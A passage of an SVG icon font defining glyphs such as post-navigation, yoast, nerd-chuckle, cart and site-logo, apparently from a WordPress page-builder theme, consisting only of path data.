<glyph glyph-name="post-navigation" unicode="&#xe8b4;" d="M783 329h-158c-12 0-21 9-21 21s9 21 21 21h158l-29 25c-8 8-8 21 0 29 9 8 21 8 29 0l63-58c8-9 8-21 0-29l-63-67c-8-8-20-8-29 0-8 8-8 21 0 29l29 29z m-283 292h417c33 0 62-29 62-63v-416c0-34-29-63-62-63h-417-417c-33 0-62 29-62 63v416c0 34 29 63 62 63h417z m-283-250h158c13 0 21-8 21-21s-8-21-21-21h-158l25-29c8-8 8-21 0-29-9-8-21-8-29 0l-63 67c-8 8-8 20 0 29l63 58c8 8 20 8 29 0s8-21 0-29l-25-25z m262 208h-396c-12 0-20-8-20-21v-416c0-13 8-21 20-21h396v458z m21 42h21v-542h-21-21v542h21z m21-42v-458h396c12 0 21 8 21 21v416c0 13-9 21-21 21h-396z" horiz-adv-x="1000" />

<glyph glyph-name="yoast" unicode="&#xe8b5;" d="M300 542c0 0 38-109 117-329 16-59 12-105-9-138-16-29-45-50-87-67 0 0 0-25 0-75 42 4 75 21 104 50 38 38 63 80 75 125l242 659c0 0-29 0-88 0 0 0-54-159-162-479-4-17-34-17-38 0l-79 250c0 0-25 4-75 4z m313 237c8 17 20 29 41 29h88c21 0 41-16 41-41 0-4 0-9-4-13l-237-658c-17-50-46-96-84-138-37-37-79-58-125-62-20-4-41 12-45 37 0 4 0 4 0 4v76c0 16 12 33 25 37 33 13 54 29 66 50 13 21 17 58 4 104l-120 321c-9 21 4 46 25 54 4 0 8 4 12 4h75c17 0 33-12 38-29l58-191 142 416z m262-762l0 587c0 42-33 79-58 79 0 0-17 0-17 21s17 21 17 21c58 0 100-54 100-121l0-625-367 0c-12 0-21 8-21 21s9 21 21 21l325-4z m-342 708c13-4 17-8 17-21s-4-16-17-21l-220 0c-105 0-188-62-188-166l0-334c0-79 25-166 104-166 17 0 21-9 21-25 0-9-8-17-21-17-104 0-146 104-146 208l0 334c0 125 105 208 230 208l220 0z" horiz-adv-x="1000" />

<glyph glyph-name="nerd-chuckle" unicode="&#xe8b6;" d="M958 350c0 253-205 458-458 458s-458-205-458-458 205-458 458-458 458 205 458 458z m42 0c0-276-224-500-500-500s-500 224-500 500 224 500 500 500 500-224 500-500z m-240-107c-10 6-22 2-28-8-45-78-123-114-232-114-109 0-187 36-232 114-6 10-18 14-28 8-10-6-14-18-8-28 30-52 71-88 123-110 0-1-1-3-1-5v-83c0-12 9-21 21-21h125c12 0 21 9 21 21v63c112 4 197 47 247 135 6 10 2 23-8 28z m-364-205v54c26-7 54-11 83-12v-42h-83z m302 624c-95 0-172-74-176-168-6 1-14 2-22 2-8 0-16-1-22-2-4 94-81 168-176 168-97 0-176-79-176-177s79-176 176-176c71 0 133 43 161 104 9 2 16 10 16 20 0 21 1 21 21 21 20 0 21 0 21-21 0-10 7-18 17-20 27-61 89-104 160-104 97 0 176 79 176 176s-79 177-176 177z m-396-313c-75 0-136 61-136 136 0 76 61 137 136 137 76 0 136-62 136-137 0-75-60-136-136-136z m396 0c-75 0-136 61-136 136 0 76 61 137 136 137 75 0 136-62 136-137 0-75-61-136-136-136z m23 134c0 12-9 21-21 21s-21-9-21-21 9-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62-35 0-62 28-62 62s27 63 62 63c35 0 63-28 63-63z m-438 0c0 12-9 21-21 21s-21-9-21-21 10-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62s-62 28-62 62 28 63 62 63 63-28 63-63z" horiz-adv-x="1000" />

<glyph glyph-name="nerd-wink" unicode="&#xe8b7;" d="M958 350c0 253-205 458-458 458s-458-205-458-458 205-458 458-458 458 205 458 458z m42 0c0-276-224-500-500-500s-500 224-500 500 224 500 500 500 500-224 500-500z m-768-135c53-93 146-136 268-136s215 43 268 136c6 10 2 23-8 28-10 6-22 2-28-8-45-78-123-114-232-114s-187 36-232 114c-6 10-18 14-28 8-10-5-14-18-8-28z m466 447c-95 0-172-74-176-168-6 1-14 2-22 2-8 0-16-1-22-2-4 94-81 168-176 168-97 0-176-79-176-177s79-176 176-176c71 0 133 43 161 104 9 2 16 10 16 20 0 21 1 21 21 21 20 0 21 0 21-21 0-10 7-18 17-20 27-61 89-104 160-104 97 0 176 79 176 176s-79 177-176 177z m-396-313c-75 0-136 61-136 136 0 76 61 137 136 137 76 0 136-62 136-137 0-75-60-136-136-136z m396 0c-75 0-136 61-136 136 0 76 61 137 136 137 75 0 136-62 136-137 0-75-61-136-136-136z m-373 134c0 12-9 21-21 21s-21-9-21-21 10-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62s-62 28-62 62 28 63 62 63 63-28 63-63z m279-8h125c12 0 21 9 21 21s-9 21-21 21h-125c-12 0-21-9-21-21s9-21 21-21z" horiz-adv-x="1000" />

<glyph glyph-name="comments" unicode="&#xe8b8;" d="M217 183c-3 0-7 1-9 3-6 4-9 11-7 18l28 113h-12c-65 0-117 52-117 116v234c0 64 52 116 117 116h400c64 0 116-52 116-116 0-9-7-17-16-17h-134c-46 0-83-37-83-83v-200c0-9 2-18 5-28 2-5 1-11-2-15-3-5-8-7-13-7h-101l-162-130c-3-2-7-4-10-4z m0 567c-46 0-84-37-84-83v-234c0-46 38-83 84-83h33c5 0 10-2 13-6s4-10 3-15l-21-85 128 102c3 3 7 4 10 4h85c-1 6-1 11-1 17v200c0 64 52 116 116 116h115c-7 38-41 67-81 67h-400z m766-633c-3 0-7 1-10 3l-162 130h-228c-64 0-116 52-116 117v200c0 64 52 116 116 116h400c65 0 117-52 117-116v-200c0-65-52-117-117-117h-12l29-113c1-7-2-14-8-18-2-1-5-2-9-2z m-400 533c-46 0-83-37-83-83v-200c0-46 37-84 83-84h234c3 0 7-1 10-3l128-103-21 86c-1 5 0 10 3 14s8 6 13 6h33c46 0 84 38 84 84v200c0 46-38 83-84 83h-400z" horiz-adv-x="1000" />

<glyph glyph-name="download-circle-o" unicode="&#xe8b9;" d="M167 350c0-184 149-333 333-333s333 149 333 333-149 333-333 333-333-149-333-333z m-84 0c0 230 187 417 417 417s417-187 417-417-187-417-417-417-417 187-417 417z m375-83h-104c-6 0-10-2-14-6s-7-8-7-13 2-9 7-13l145-129c5-4 10-6 15-6s10 2 15 6l145 129c5 4 7 8 7 13s-2 10-7 13-9 6-14 6h-104v293c0 16-19 40-42 40s-42-23-42-40v-293z" horiz-adv-x="1000" />

<glyph glyph-name="library-upload" unicode="&#xe8ba;" d="M479 113v-138c0-13 9-21 21-21s21 8 21 21v138l25-25c8-9 21-9 29 0 8 8 8 20 0 29l-62 62c-9 9-21 9-30 0l-62-62c-8-9-8-21 0-29 8-9 21-9 29 0l29 25z m-146-55c0-91 75-166 167-166s167 75 167 166-75 167-167 167-167-75-167-167z m-291 688c0 0 0 0 0 0 0 58 46 104 104 104h708c59 0 104-46 104-104v-129c25-21 42-50 42-88v-383c0-58-46-108-108-108h-121c-13 0-21 8-21 20s8 21 21 21h121c37 0 66 29 66 67v383c0 38-29 71-66 71h-500c-42 0-84 25-100 71l0 0-4 8c-9 29-34 46-63 46h-117c-37 0-66-29-66-67v-512c0-38 29-67 66-67h121c13 0 21-8 21-21s-8-20-21-20h-121c-58 0-108 50-108 108v512c0 34 17 67 42 88z m46 21c8 0 12 0 20 0h121c46 0 84-29 100-71l4-4 0-4c9-30 34-46 59-46h500c8 0 16 0 25-4v108c0 33-29 62-63 62h-708c-29 0-50-16-58-41z m204-709c0 117 91 209 208 209s208-92 208-209-91-208-208-208-208 92-208 208z" horiz-adv-x="1000" />

<glyph glyph-name="save-o" unicode="&#xe8bb;" d="M683 725c-4 0-12 0-16 0h0-63-83-271-42c-45 0-83-37-83-83v-584c0-45 38-83 83-83h584c46 0 83 38 83 83v459c0 108-83 196-192 208z m-183-83v-146c0-13 8-21 21-21h83c13 0 21 8 21 21v146h42c0 0 0 0 0 0v-209h-334v209h167z m292-584h-584v584h42v-250c0-25 17-42 42-42h416c25 0 42 17 42 42v216c25-25 42-54 42-91v-459z" horiz-adv-x="1000" />

<glyph glyph-name="upload-circle-o" unicode="&#xe8bc;" d="M833 350c0 184-149 333-333 333s-333-149-333-333 149-333 333-333 333 149 333 333z m84 0c0-230-187-417-417-417s-417 187-417 417 187 417 417 417 417-187 417-417z m-375 83h104c6 0 10 2 14 6s7 8 7 13-2 9-7 13l-145 129c-5 4-10 6-15 6s-10-2-15-6l-145-129c-5-4-7-8-7-13s2-9 7-13 9-6 14-6h104v-293c0-16 19-40 42-40s42 23 42 40v293z" horiz-adv-x="1000" />

<glyph glyph-name="ellipsis-h" unicode="&#xe8bd;" d="M208 267c-45 0-83 37-83 83s38 83 83 83 84-37 84-83-38-83-84-83z m292 0c-46 0-83 37-83 83s37 83 83 83 83-37 83-83-37-83-83-83z m292 0c-46 0-84 37-84 83s38 83 84 83 83-37 83-83-37-83-83-83z" horiz-adv-x="1000" />

<glyph glyph-name="ellipsis-v" unicode="&#xe8be;" d="M417 642c0 46 37 83 83 83s83-37 83-83-37-84-83-84-83 38-83 84z m0-292c0 46 37 83 83 83s83-37 83-83-37-83-83-83-83 37-83 83z m0-292c0 46 37 84 83 84s83-38 83-84-37-83-83-83-83 38-83 83z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-left" unicode="&#xe8bf;" d="M263 304l158-162c25-25 25-63 0-88-25-25-63-25-88 0l-270 279c-25 25-25 63 0 88l266 262c25 30 63 25 88 0 25-25 25-62 0-87l-171-167 650 4c33 0 62-29 62-62 0-33-29-63-62-63l-633-4z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-right" unicode="&#xe8c0;" d="M738 304l-159-162c-25-25-25-63 0-88s63-25 88 0l271 279c25 25 25 63 0 88l-267 262c-25 25-63 25-88 0-25-25-25-62 0-87l171-167-650 4c-33 0-62-29-62-62 0-33 29-63 62-63l634-4z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-up" unicode="&#xe8c1;" d="M413 588l-163-159c-25-25-62-25-87 0s-21 67 4 92l279 271c25 25 62 25 87 0l263-267c25-25 25-62 0-87-25-25-63-25-88 0l-166 170 0-654c0-33-29-62-63-62-33 0-62 29-62 62l-4 634z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-down" unicode="&#xe8c2;" d="M413 113l-163 158c-25 25-62 25-87 0s-25-63 0-88l279-271c25-25 62-25 87 0l263 267c25 25 25 63 0 88-25 25-63 25-88 0l-166-171 4 650c0 33-29 62-63 62-33 0-62-29-62-62l-4-633z" horiz-adv-x="1000" />

<glyph glyph-name="play-o" unicode="&#xe8c3;" d="M498-124c-264 0-477 213-477 477s213 476 477 476 476-213 476-476-213-477-476-477z m151 487l-238 141v-281l238 140z" horiz-adv-x="1000" />

<glyph glyph-name="archive-posts" unicode="&#xe8c4;" d="M958 600h-916v-646c0-34 28-62 62-62h792c34 0 62 28 62 62v646z m0 42v62c0 35-28 63-62 63h-792c-34 0-62-28-62-63v-62h916z m42-688c0-57-47-104-104-104h-792c-57 0-104 47-104 104v750c0 58 47 104 104 104h792c57 0 104-46 104-104v-750z m-854 438c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m21 41h41v42h-41v-42z m-21-250c-12 0-21 10-21 21v84c0 11 9 20 21 20h83c12 0 21-9 21-20v-84c0-11-9-21-21-21h-83z m21 42h41v42h-41v-42z m-21-250c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m21 42h41v41h-41v-41z m146 458c-12 0-21 9-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m0-83c-12 0-21 9-21 21s9 20 21 20h125c11 0 20-9 20-20s-9-21-20-21h-125z m0-125c-12 0-21 9-21 21s9 20 21 20h125c11 0 20-9 20-20s-9-21-20-21h-125z m0-84c-12 0-21 10-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m0-125c-12 0-21 10-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m0-83c-12 0-21 9-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m250 417c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m20 41h42v42h-42v-42z m-20-250c-12 0-21 10-21 21v84c0 11 9 20 21 20h83c12 0 21-9 21-20v-84c0-11-9-21-21-21h-83z m20 42h42v42h-42v-42z m-20-250c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m20 42h42v41h-42v-41z m146 458c-11 0-21 9-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m0-83c-11 0-21 9-21 21s10 20 21 20h125c12 0 21-9 21-20s-9-21-21-21h-125z m0-125c-11 0-21 9-21 21s10 20 21 20h125c12 0 21-9 21-20s-9-21-21-21h-125z m0-84c-11 0-21 10-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m0-125c-11 0-21 10-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m0-83c-11 0-21 9-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m-604 729c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21" horiz-adv-x="1000" />

<glyph glyph-name="archive-title" unicode="&#xe8c5;" d="M958 600h-916v-646c0-34 28-62 62-62h792c34 0 62 28 62 62v646z m0 42v62c0 35-28 63-62 63h-792c-34 0-62-28-62-63v-62h916z m42-688c0-57-47-104-104-104h-792c-57 0-104 47-104 104v750c0 58 47 104 104 104h792c57 0 104-46 104-104v-750z m-875 750c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21z m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21z m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21z m-146-729c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m21 42h41v41h-41v-41z m146 41c-12 0-21 10-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m0-83c-12 0-21 9-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m250 0c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m20 42h42v41h-42v-41z m146 41c-11 0-21 10-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m0-83c-11 0-21 9-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m-250 292v208h-83v-22c0-12-9-21-21-21s-21 9-21 21v43c0 12 9 21 21 21h250c12 0 21-9 21-21v-43c0-12-9-21-21-21s-21 9-21 21v22h-83v-208h42c11 0 20-9 20-21s-9-21-20-21h-125c-12 0-21 9-21 21s9 21 21 21h41z" horiz-adv-x="1000" />

<glyph glyph-name="featured-image" unicode="&#xe8c6;" d="M104 183c-11 0-21 10-21 21v542c0 12 10 21 21 21h792c12 0 21-9 21-21v-542c0-11-9-21-21-21h-792z m21 42h750v500h-750v-500z m-21-167c-11 0-21 10-21 21s10 21 21 21h334c11 0 20-9 20-21s-9-21-20-21h-334z m459 0c-12 0-21 10-21 21s9 21 21 21h333c12 0 21-9 21-21s-9-21-21-21h-333z m-459-125c-11 0-21 9-21 21s10 21 21 21h334c11 0 20-9 20-21s-9-21-20-21h-334z m459 0c-12 0-21 9-21 21s9 21 21 21h333c12 0 21-9 21-21s-9-21-21-21h-333z m-246 477l-197-220c-8-9-21-9-30-2-9 8-9 21-2 30l210 233c7 8 19 9 27 3l124-88 174 218c9 11 25 10 33-1l257-367c6-10 4-23-5-29-10-7-23-4-30 5l-240 343-168-211c-7-9-20-11-29-4l-124 90z m-11 186c0 25-19 46-43 46s-43-21-43-46 20-46 43-46 43 20 43 46z m42 0c0-48-38-88-85-88s-84 40-84 88 37 87 84 87 85-39 85-87z" horiz-adv-x="1000" />

<glyph glyph-name="post-info" unicode="&#xe8c7;" d="M380 843c4 5 10 7 16 7h417c34 0 62-28 62-62v-876c0-34-28-62-62-62h-625c-35 0-63 28-63 62v667c0 6 3 12 7 16l248 248z m-5-64l-179-179h158c12 0 21 9 21 21v158z m438 29h-396v-187c0-35-28-63-63-63h-187v-646c0-11 9-20 21-20h625c11 0 20 9 20 20v876c0 11-9 20-20 20z m-459-708c0 12-9 21-21 21s-20-9-20-21 9-21 20-21 21 9 21 21z m42 0c0-35-28-62-63-62s-62 27-62 62 28 63 62 63 63-28 63-63z m125 0c0 12-9 21-21 21s-21-9-21-21 9-21 21-21 21 9 21 21z m42 0c0-35-28-62-63-62s-62 27-62 62 27 63 62 63 63-28 63-63z m125 0c0 12-10 21-21 21s-21-9-21-21 9-21 21-21 21 9 21 21z m41 0c0-35-28-62-62-62s-63 27-63 62 28 63 63 63 62-28 62-63z" horiz-adv-x="1000" />

<glyph glyph-name="post-title" unicode="&#xe8c8;" d="M479 100c0 0 0 0 0 1v291h-125v-33c0-12-9-21-21-21s-20 9-20 21v54c0 11 9 20 20 20h334c11 0 21-9 21-20v-54c0-12-10-21-21-21s-21 9-21 21v33h-125v-291c0-1 0-1 0-1h42c11 0 20-9 20-21s-9-21-20-21h-125c-12 0-21 10-21 21s9 21 21 21h41z m-99 743c4 5 10 7 16 7h417c34 0 62-28 62-62v-876c0-34-28-62-62-62h-625c-35 0-63 28-63 62v667c0 6 3 12 7 16l248 248z m-5-64l-179-179h158c12 0 21 9 21 21v158z m438 29h-396v-187c0-35-28-63-63-63h-187v-646c0-11 9-20 21-20h625c11 0 20 9 20 20v876c0 11-9 20-20 20z" horiz-adv-x="1000" />

<glyph glyph-name="site-logo" unicode="&#xe8c9;" d="M958 600h-916v-642c0-37 28-66 62-66h792c34 0 62 29 62 66v642z m0 42v58c0 37-28 67-62 67h-792c-34 0-62-30-62-67v-58h916z m42-684c0-59-46-108-104-108h-792c-58 0-104 49-104 108v742c0 60 46 108 104 108h792c58 0 104-48 104-108v-742z m-875 746c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21m-113-398h11c6 0 12-6 12-13v-103c0-7 6-12 13-12h30c7 0 13-6 13-13l0-10c0-7-5-12-13-12 0 0 0 0 0 0l-65 0c-7 0-13 5-13 12v138c0 7 5 13 12 13z m233-81c0 16-5 29-14 39-10 9-23 14-39 14s-28-5-38-14c-10-10-15-23-15-39 0-16 5-29 15-39 10-9 22-14 38-14s29 5 39 14c10 10 14 23 14 39z m-115-60c-17 16-26 36-26 60 0 24 9 44 26 60s38 23 63 23 46-8 63-23c17-16 25-36 25-60 0-24-8-44-25-60-17-15-38-23-63-23-25 0-46 8-63 23z m169 60c0 24 9 44 26 60 17 15 38 23 63 23 18 0 35-4 50-13 14-9 25-23 28-35 1-8-8-10-22-10-4 0-8 3-11 7-8 14-27 22-46 22-16 0-28-5-38-15-10-9-15-22-15-39 0-16 5-29 15-38 10-10 22-15 36-15s25 4 34 10c9 6 12 12 14 20h-45c-6 0-12 5-12 12 0 0 0 1 0 1l0 7c1 6 6 12 13 12l69-1c7 0 12-5 12-13v-10c-3-18-10-34-26-47-16-14-35-20-59-20s-44 7-61 23c-17 15-25 35-25 59z m332 0c0 16-5 29-15 39-10 9-23 14-38 14-16 0-29-5-39-14-10-10-14-23-14-39 0-16 5-29 14-39 10-9 23-14 39-14 15 0 28 5 38 14 10 10 15 23 15 39z m-116-60c-17 16-25 36-25 60 0 24 8 44 26 60s37 23 62 23c25 0 46-8 63-23 17-16 26-36 26-60 0-24-9-44-26-60-17-15-38-23-63-23-25 0-46 8-63 23z m172-107h-708c-12 0-21 10-21 21s9 21 21 21h708c12 0 21-9 21-21s-9-21-21-21z m0 292h-708c-12 0-21 9-21 21s9 21 21 21h708c12 0 21-9 21-21s-9-21-21-21z" horiz-adv-x="1000" />

<glyph glyph-name="site-search" unicode="&#xe8ca;" d="M958 600h-916v-642c0-37 28-66 62-66h792c34 0 62 29 62 66v642z m0 42v58c0 37-28 67-62 67h-792c-34 0-62-30-62-67v-58h916z m42-684c0-59-46-108-104-108h-792c-58 0-104 49-104 108v742c0 60 46 108 104 108h792c58 0 104-48 104-108v-742z m-875 746c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21z m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21z m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21z m141-491c0-1-1-2-2-3l-146-145c-8-9-21-9-29 0s-8 21 0 29l146 146c1 1 1 1 2 2-19 24-29 55-29 88 0 80 65 145 145 145s146-65 146-145-65-146-146-146c-32-1-62 10-87 29z m192 116c0 58-47 104-104 104s-104-46-104-104 46-104 104-104 104 47 104 104z" horiz-adv-x="1000" />

<glyph glyph-name="site-title" unicode="&#xe8cb;" d="M958 600h-916v-642c0-37 28-66 62-66h792c34 0 62 29 62 66v642z m0 42v58c0 37-28 67-62 67h-792c-34 0-62-30-62-67v-58h916z m42-684c0-59-46-108-104-108h-792c-58 0-104 49-104 108v742c0 60 46 108 104 108h792c58 0 104-48 104-108v-742z m-875 746c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21m375-366c-12 0-21 9-21 21v33h-292v-33c0-12-9-21-21-21s-20 9-20 21v54c0 11 9 20 20 20h334c11 0 21-9 21-20v-54c0-11-10-21-21-21z m-167-258c-12 0-21 9-21 21v307c0 12 9 21 21 21 12 0 21-9 21-21v-307c0-12-9-21-21-21z m63-22h-125c-12 0-21 10-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21z" horiz-adv-x="1000" />

<glyph glyph-name="plus-square" unicode="&#xe8cc;" d="M958 638v-575c0-46-16-88-50-121s-75-50-120-50h-575c-46 0-88 16-121 50s-50 75-50 121v575c0 45 16 87 50 120s75 50 121 50h575c45 0 87-16 120-50s50-75 50-120z m-508-242h-175c-25 0-46-21-46-46s21-46 46-46h175v-175c0-25 21-46 46-46 25 0 46 21 46 46v175h175c25 0 46 21 46 46s-21 46-46 46h-175v175c0 25-21 46-46 46-25 0-46-21-46-46v-175z" horiz-adv-x="1000" />

<glyph glyph-name="minus-square" unicode="&#xe8cd;" d="M958 638v-575c0-46-16-88-50-121s-75-50-120-50h-575c-46 0-88 16-121 50s-50 75-50 121v575c0 45 16 87 50 120s75 50 121 50h575c45 0 87-16 120-50s50-75 50-120z m-679-334h446c25 0 46 21 46 46s-21 46-46 46h-446c-25 0-46-21-46-46s17-46 46-46z" horiz-adv-x="1000" />

<glyph glyph-name="cloud-check" unicode="&#xe8ce;" d="M392 675c133 33 241-17 308-146 13-21 4-50-17-62-20-13-45-4-58 16-50 92-117 125-212 100-96-25-146-95-159-225l-4-33-29-8c-92-21-133-71-133-150-5-96 37-134 125-138l525 0c129-12 179 29 179 134 0 62-25 104-75 133-21 12-29 37-21 62 12 21 37 34 58 21 84-46 125-116 125-212 0-163-96-242-266-225l-521 0c-138 4-217 87-213 233 0 113 63 192 171 229 17 146 92 238 217 271z m496-54c12 12 29 12 41 0s13-33 0-46l-329-375c0 0 0 0 0 0-17-17-42-17-54 0l-158 175c-13 13-13 33 0 46 12 12 29 12 41 0l142-158 317 358z" horiz-adv-x="1000" />

<glyph glyph-name="drag-n-drop" unicode="&#xe8cf;" d="M46 779c0-13-10-24-23-24s-23 11-23 24v48c0 13 10 23 23 23h49c13 0 23-10 23-23s-10-24-23-24h-25v-24z m122 25c-13 0-23 10-23 23s10 23 23 23h92c13 0 24-10 24-23s-11-24-24-24h-92z m185 0c-13 0-23 10-23 23s10 23 23 23h93c13 0 23-10 23-23s-10-24-23-24h-93z m186 0c-13 0-24 10-24 23s11 23 24 23h92c13 0 24-10 24-23s-11-23-24-23h-92z m209 0c-13 0-24 10-24 23s11 23 24 23h48c13 0 23-10 23-23v-48c0-13-10-24-23-24-13 0-23 11-23 24v25h-25z m25-122c0 13 10 23 23 23 13 0 23-10 23-23v-92c0-13-10-24-23-24-13 0-23 11-23 24v92z m0-193c0 13 10 23 23 23 13 0 23-10 23-23v-49c0-12-10-23-23-23-13 0-23 11-23 23v49z m-315-363c12 0 23-11 23-23 0-13-11-24-23-24h-93c-13 0-23 11-23 24 0 12 10 23 23 23h93z m-186 0c13 0 23-11 23-23 0-13-10-24-23-24h-92c-13 0-24 11-24 24 0 12 11 23 24 23h92z m-201 0c13 0 24-11 24-23 0-13-11-24-24-24h-48c-13 0-23 11-23 24v48c0 13 10 23 23 23s24-10 24-23v-25h24z m-25 122c0-13-10-24-23-24s-23 11-23 24v92c0 13 10 23 23 23s24-10 24-23v-92z m0 185c0-13-10-23-23-23s-23 10-23 23v92c0 13 10 24 23 24s24-11 24-24v-92z m0 185c0-13-10-23-23-23s-23 10-23 23v93c0 13 10 23 23 23s24-10 24-23v-93z m503-654c-29-22-70-2-70 34v621c0 39 48 58 75 30l434-448c27-28 7-74-31-74h-98l70-145c11-21 2-46-19-57l-134-69c-21-11-48-3-59 19l-77 159-91-70z m17 123l64 49c22 17 54 9 66-16l81-166 56 29-82 169c-14 28 7 62 39 62h65l-288 298v-425z" horiz-adv-x="1000" />

<glyph glyph-name="welcome" unicode="&#xe8d0;" d="M180 511v-559h676v559l-335 216-341-216z m-75 63l390 248c16 10 37 10 53 0l383-247c14-9 22-23 22-39v-630c0-26-22-46-49-46h-772c-27 0-49 20-49 46v629c0 16 8 30 22 39z m421-201c38 52 82 71 134 54 77-24 67-121 38-163-28-39-85-95-172-169v0c-86 74-143 130-171 169-30 42-39 139 38 163 51 17 96-1 133-54l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="handle" unicode="&#xe8d1;" d="M167 138c-46 0-84 37-84 83s38 83 84 83 83-37 83-83-37-83-83-83z m329 0c-46 0-83 37-83 83s37 83 83 83 83-37 83-83-37-83-83-83z m333 0c-46 0-83 37-83 83s37 83 83 83c46 0 84-37 84-83s-38-83-84-83z m-662 254c-46 0-84 37-84 83s38 83 84 83 83-37 83-83-37-83-83-83z m329 0c-46 0-83 37-83 83s37 83 83 83 83-37 83-83-37-83-83-83z m333 0c-46 0-83 37-83 83s37 83 83 83c46 0 84-37 84-83s-38-83-84-83z" horiz-adv-x="1000" />

<glyph glyph-name="cart" unicode="&#xe8d2;" d="M460 58c35 0 63-28 63-62s-28-63-63-63-64 28-64 63 29 62 64 62z m250 0c35 0 63-28 63-62s-28-63-63-63-64 28-64 63 29 62 64 62z m-476 541l139-450c2-5 7-9 12-9h380c6 0 11 4 13 9l138 433c0 1 0 2 0 3 0 8-6 13-13 13l-669 1 0 0z m-13 41h682c30 0 55-24 55-54 0-6-1-11-3-17l-138-433c-7-22-28-38-52-38h-380c-23 0-45 16-52 39l-147 476c-10 35-26 67-48 97-20 27-44 40-75 40-12 0-21 9-21 21s9 21 21 21c45 0 82-20 109-58 21-30 38-61 49-94z" horiz-adv-x="1000" />

<glyph glyph-name="product-add-to-cart" unicode="&#xe8d3;" d="M741 192c-7-9-20-11-29-4-9 6-12 19-5 29 6 8 12 17 17 26 54 90 61 200 22 297-3 7-6 15-10 22-3 6-7 13-11 20-23 39-54 73-92 101-148 108-357 75-465-74s-75-358 74-466c66-48 146-69 226-62 5 1 9 1 13 2 5 0 11 1 16 2 12 2 24 5 36 8 10 4 22-3 25-14 4-11-3-22-14-26-13-3-26-7-40-9-6-1-12-2-18-3-4-1-9-1-14-2-90-8-180 16-255 70-167 122-204 356-83 524s356 205 524 83c42-31 77-69 103-113 4-8 8-15 12-23 4-8 8-16 11-25 45-108 36-232-24-334-6-10-12-19-19-29z m-324 241v125c0 12 9 21 21 21s20-9 20-21v-125h125c12 0 21-9 21-20s-9-21-21-21h-125v-125c0-12-9-21-20-21s-21 9-21 21v125h-125c-12 0-21 9-21 21s9 20 21 20h125z m237-458h126l45 147h-215l44-147z m183 188c18 0 33-15 33-33 0-3 0-7-1-10l-51-164c-4-14-17-23-32-23h-138c-15 0-28 9-33 24l-53 179c0 0 0 1-1 1-3 11-8 22-16 32-4 7-9 10-16 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 6-10 12-20 16-30h241z m-174-301c-16 0-29 13-29 30s13 29 29 29 30-13 30-29-14-30-30-30z m105 0c-17 0-30 13-30 30s13 29 30 29 29-13 29-29-14-30-29-30z" horiz-adv-x="1000" />

